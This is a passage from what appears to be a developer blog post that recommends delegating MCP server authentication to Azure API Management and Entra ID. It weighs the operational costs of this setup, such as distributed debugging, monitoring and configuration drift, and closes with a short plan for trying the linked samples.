This is the kind of user experience that makes me really, really happy. When authentication and authorization is invisible, users (and developers, of course) can focus on what they actually want to build instead of fighting with yet another change in the auth flow logic. That’s a win for everyone.

The elephant in the room: operational complexity #

With all of the above, I focused very heavily on the happy path, but let’s be honest about something. I’ve been telling you about the benefits of using an API gateway for MCP auth, but I’d be doing you a disservice if I didn’t talk about the operational complexity you’re also introducing into your infrastructure.

You’re not just adding a component - you’re adding a distributed system.

When your MCP server was a simple, self-contained service, debugging was straightforward. Request comes in, you set a breakpoint, you step through your code. Now you have requests flowing through APIM policies, token validation happening against Entra ID, caching layers, and potential failure points at every hop.

Debugging distributed auth is generally more painful. When something breaks, you’ll be staring at logs across multiple services trying to figure out if the problem is in your APIM policy configuration, Entra ID tenant settings, token scopes, network connectivity, or your actual MCP server code. The error messages from API gateways are often cryptic at best. You should get comfortable with request tracing. For API Management, you can also use Visual Studio Code to debug policies.

Monitoring becomes more complex. You now need to monitor your API gateway health, authorization server availability, token validation latency, and the relationships between all these components. Your simple “Is my server responding?” health check becomes a multi-service dependency graph.

Local development gets harder. When it comes to running the same code locally, running things behind an API gateway is not as simple as just running your MCP server on the development box. You’re either depending on additional infrastructure (self-hosted gateway), bypassing auth entirely (not great for catching auth-related bugs), or tunneling to cloud services (adding latency and potential connectivity issues to your dev loop).

Configuration drift is a real risk. Your auth logic is now split between APIM policies (which might be managed through XML definitions, Bicep templates, Azure CLI, or the Azure portal) and your application configuration. Keeping these in sync across environments becomes a pretty real operational concern.

So why am I still recommending this approach? Because the alternative is worse for most teams. Building and maintaining your own OAuth implementation means you’re taking on all of this complexity anyway, plus the additional burden of implementing the token handling correctly, managing edge cases, staying up to date with security patches, and becoming an expert in a domain that’s not your core business.

But you should go into this with eyes wide open. The complexity doesn’t disappear - it just moves to a different layer of your stack. For anything deployed at scale, make sure you have the operational maturity to handle distributed systems before you add an API gateway to your critical path.

Stop reinventing the wheel #

Look, I get it. Writing authentication code feels important. It feels like you’re really engineering something because of all the complexity, the twists and turns, the new RFCs, and all the fun that comes with reading seventeen pages about client registration. But you know what’s more important? Shipping software that actually solves real problems.

The MCP specification got this right by embracing existing standards like RFC 9728 for Protected Resource Metadata, RFC 8414 for authorization server metadata, and RFC 7591 for Dynamic Client Registration. The community is building on top of what already works, and that’s a great sign for the maturity of the protocol.

Your job as a developer is to follow their lead. Use the tools that already exist. If you are deploying your MCP servers on Azure, let Azure API Management handle the policy enforcement. Let Microsoft Entra ID handle the identity verification. Let the Azure Developer CLI handle the intricacies of infrastructure deployment from your developer machine.

Here’s your action plan as you try out how protected MCP servers work:

1. Clone the samples and run azd up to see it up and running. Connect the deployed MCP servers to Visual Studio Code and see how the authorization flow works.
2. Familiarize yourself with the official MCP Authorization Specification to understand what’s going on behind the scenes. As a bonus, check out the Security Best Practices document to understand some of the complexities you have to handle if you roll your own implementation of MCP server auth patterns.
3. Review the APIM policies in the samples I linked to. Understand how the PRM document is served and how that transfers control to the client.
4. Adapt the pattern for your own use case, identity provider, and cloud platform of choice. I talked about Azure API Management as a demo, but the same approach will work in a more generic scenario too.

If you already have an existing MCP server, the migration to Azure API Management is straightforward - you can copy word-for-word the policies in sample servers and use the Azure Developer CLI to push your code to the cloud. Your existing server code doesn’t need to change.

That’s it. No PhD in cryptography required. No late nights debugging JWT minting logic. Just working, secure, standards-compliant authentication and authorization that your users will actually enjoy using.

Because at the end of the day, the best authentication system is the one developers never have to think about.